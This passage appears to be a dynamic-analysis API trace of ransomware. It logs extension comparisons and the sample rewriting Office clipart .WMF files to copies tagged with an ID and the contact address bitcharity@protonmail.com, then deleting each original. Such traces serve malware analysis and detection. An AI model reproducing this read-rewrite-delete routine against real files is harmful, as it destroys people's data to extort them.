(lpString1=".jpg", lpString2=".WMF") returned -1 [0298.993] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.993] lstrlenW (lpString="HH00084_.WMF") returned 12 [0298.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.993] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2472) returned 1 [0298.993] CloseHandle (hObject=0x10bc) returned 1 [0298.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0298.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.994] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.994] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.994] GetLastError () returned 0x0 [0298.994] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x9a8, lpOverlapped=0x0) returned 1 [0299.043] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x9b0, lpOverlapped=0x0) returned 1 [0299.044] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.044] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.044] SetEndOfFile (hFile=0x10dc) returned 1 [0299.045] CloseHandle (hObject=0x10dc) returned 1 [0299.045] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.045] SetEndOfFile (hFile=0x10bc) returned 1 [0299.046] CloseHandle (hObject=0x10bc) returned 1 [0299.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.046] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0299.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.046] lstrlenW (lpString=".doc") returned 4 [0299.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.046] lstrlenW (lpString=".docx") returned 5 [0299.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.046] lstrlenW (lpString=".pdf") returned 4 [0299.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.046] lstrlenW (lpString=".xls") returned 4 [0299.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.047] lstrlenW (lpString=".xlsx") returned 5 [0299.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.047] lstrlenW (lpString=".ppt") returned 4 [0299.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.047] lstrlenW (lpString=".zip") returned 4 [0299.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.047] lstrlenW (lpString=".rar") returned 4 [0299.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.047] lstrlenW (lpString=".bz2") returned 4 [0299.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.047] lstrlenW (lpString=".7z") returned 3 [0299.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.047] lstrlenW (lpString=".dbf") returned 4 [0299.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.047] lstrlenW (lpString=".1cd") returned 4 [0299.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.047] lstrlenW (lpString=".jpg") returned 4 [0299.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.047] lstrlenW (lpString=".doc") returned 4 [0299.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.047] lstrlenW (lpString=".docx") returned 5 [0299.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.047] lstrlenW (lpString=".pdf") returned 4 [0299.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.047] lstrlenW (lpString=".xls") returned 4 [0299.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.048] lstrlenW (lpString=".xlsx") returned 5 [0299.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.048] lstrlenW (lpString=".ppt") returned 4 [0299.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.048] lstrlenW (lpString=".zip") returned 4 [0299.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.048] lstrlenW (lpString=".rar") returned 4 [0299.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.048] lstrlenW (lpString=".bz2") returned 4 [0299.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.048] lstrlenW (lpString=".7z") returned 3 [0299.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.048] lstrlenW (lpString=".dbf") returned 4 [0299.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.048] lstrlenW (lpString=".1cd") returned 4 [0299.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0299.048] lstrlenW (lpString=".jpg") returned 4 [0299.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.048] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.048] lstrlenW (lpString="HH00235_.WMF") returned 12 [0299.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.049] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1026) returned 1 [0299.049] CloseHandle (hObject=0x10bc) returned 1 [0299.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0299.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.049] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.049] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0299.050] GetLastError () returned 0x0 [0299.050] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x402, lpOverlapped=0x0) returned 1 [0299.135] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x410, lpOverlapped=0x0) returned 1 [0299.136] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.136] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.137] SetEndOfFile (hFile=0x10dc) returned 1 [0299.137] CloseHandle (hObject=0x10dc) returned 1 [0299.137] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.137] SetEndOfFile (hFile=0x10bc) returned 1 [0299.138] CloseHandle (hObject=0x10bc) returned 1 [0299.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0299.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.138] lstrlenW (lpString=".doc") returned 4 [0299.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.138] lstrlenW (lpString=".docx") returned 5 [0299.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.138] lstrlenW (lpString=".pdf") returned 4 [0299.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.138] lstrlenW (lpString=".xls") returned 4 [0299.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.138] lstrlenW (lpString=".xlsx") returned 5 [0299.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.138] lstrlenW (lpString=".ppt") returned 4 [0299.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.138] lstrlenW (lpString=".zip") returned 4 [0299.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.138] lstrlenW (lpString=".rar") returned 4 [0299.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.139] lstrlenW (lpString=".bz2") returned 4 [0299.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.139] lstrlenW (lpString=".7z") returned 3 [0299.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.139] lstrlenW (lpString=".dbf") returned 4 [0299.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.139] lstrlenW (lpString=".1cd") returned 4 [0299.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.139] lstrlenW (lpString=".jpg") returned 4 [0299.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.139] lstrlenW (lpString=".doc") returned 4 [0299.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.139] lstrlenW (lpString=".docx") returned 5 [0299.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.139] lstrlenW (lpString=".pdf") returned 4 [0299.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.139] lstrlenW (lpString=".xls") returned 4 [0299.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.139] lstrlenW (lpString=".xlsx") returned 5 [0299.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.139] lstrlenW (lpString=".ppt") returned 4 [0299.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.140] lstrlenW (lpString=".zip") returned 4 [0299.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.140] lstrlenW (lpString=".rar") returned 4 [0299.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.140] lstrlenW (lpString=".bz2") returned 4 [0299.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.140] lstrlenW (lpString=".7z") returned 3 [0299.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.140] lstrlenW (lpString=".dbf") returned 4 [0299.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.140] lstrlenW (lpString=".1cd") returned 4 [0299.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0299.140] lstrlenW (lpString=".jpg") returned 4 [0299.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.140] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.140] lstrlenW (lpString="HH00276_.WMF") returned 12 [0299.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.141] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3016) returned 1 [0299.141] CloseHandle (hObject=0x10bc) returned 1 [0299.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0299.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.141] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.141] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0299.141] GetLastError () returned 0x0 [0299.141] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xbc8, lpOverlapped=0x0) returned 1 [0299.233] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xbd0, lpOverlapped=0x0) returned 1 [0299.234] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.234] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.234] SetEndOfFile (hFile=0x10dc) returned 1 [0299.234] CloseHandle (hObject=0x10dc) returned 1 [0299.234] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.234] SetEndOfFile (hFile=0x10bc) returned 1 [0299.235] CloseHandle (hObject=0x10bc) returned 1 [0299.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0299.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.236] lstrlenW (lpString=".doc") returned 4 [0299.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.236] lstrlenW (lpString=".docx") returned 5 [0299.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.236] lstrlenW (lpString=".pdf") returned 4 [0299.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.236] lstrlenW (lpString=".xls") returned 4 [0299.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.236] lstrlenW (lpString=".xlsx") returned 5 [0299.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.236] lstrlenW (lpString=".ppt") returned 4 [0299.236] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.236] lstrlenW (lpString=".zip") returned 4 [0299.236] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.236] lstrlenW (lpString=".rar") returned 4 [0299.236] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.236] lstrlenW (lpString=".bz2") returned 4 [0299.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.236] lstrlenW (lpString=".7z") returned 3 [0299.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.236] lstrlenW (lpString=".dbf") returned 4 [0299.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.236] lstrlenW (lpString=".1cd") returned 4 [0299.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.236] lstrlenW (lpString=".jpg") returned 4 [0299.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.237] lstrlenW (lpString=".doc") returned 4 [0299.237] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.237] lstrlenW (lpString=".docx") returned 5 [0299.237] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.237] lstrlenW (lpString=".pdf") returned 4 [0299.237] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.237] lstrlenW (lpString=".xls") returned 4 [0299.237] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.237] lstrlenW (lpString=".xlsx") returned 5 [0299.237] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.237] lstrlenW (lpString=".ppt") returned 4 [0299.237] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.237] lstrlenW (lpString=".zip") returned 4 [0299.237] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.237] lstrlenW (lpString=".rar") returned 4 [0299.237] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.237] lstrlenW (lpString=".bz2") returned 4 [0299.237] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.237] lstrlenW (lpString=".7z") returned 3 [0299.237] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.237] lstrlenW (lpString=".dbf") returned 4 [0299.237] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.237] lstrlenW (lpString=".1cd") returned 4 [0299.237] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0299.237] lstrlenW (lpString=".jpg") returned 4 [0299.237] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.237] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.238] lstrlenW (lpString="HH00527_.WMF") returned 12 [0299.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 